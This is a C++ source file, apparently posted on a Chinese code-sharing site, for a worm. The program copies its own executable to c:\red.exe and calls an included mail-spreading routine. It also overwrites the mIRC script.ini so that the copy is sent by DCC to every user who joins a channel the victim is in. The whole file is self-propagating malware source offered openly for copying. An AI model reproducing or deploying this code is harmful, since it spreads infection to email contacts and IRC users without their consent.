main.cpp
来自「This worm file is disseminated except th」· C++ 代码 · 共 63 行
CPP
63 行
#include <stdio.h>
#include <string.h>
#include "sendmail.c"
short WormCopy(char SRCFileName[], char DSTFileName[])
{
FILE *SRC, *DST;
char Buffer[1024];
short Counter = 0;
short Status = 0;
SRC = fopen(SRCFileName, "rb");
if(SRC)
{
DST = fopen(DSTFileName, "wb");
if(DST)
{
while(! feof(SRC))
{
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST);
}
Status = 1;
}
}
fclose(SRC);
fclose(DST);
return Status;
}
void main(int argc, char **argv)
{
FILE *retro;
char ProgName[100];
spread_use_mail(GetModuleHandle(NULL));
strcpy(ProgName, argv[0]);
WormCopy(ProgName, "c:\\red.exe");
retro = fopen("c:\\mirc\\script.ini","wt");
if(!retro)
{
retro=fopen("c:\\Program Files\\mirc\\script.ini","wt");
}
if(retro)
{
fprintf(retro,"[script]\nn0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }\nn1=/.dcc send $nick");
fprintf(retro," c:/red.exe\n}\n");
}
fclose(retro);
}
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?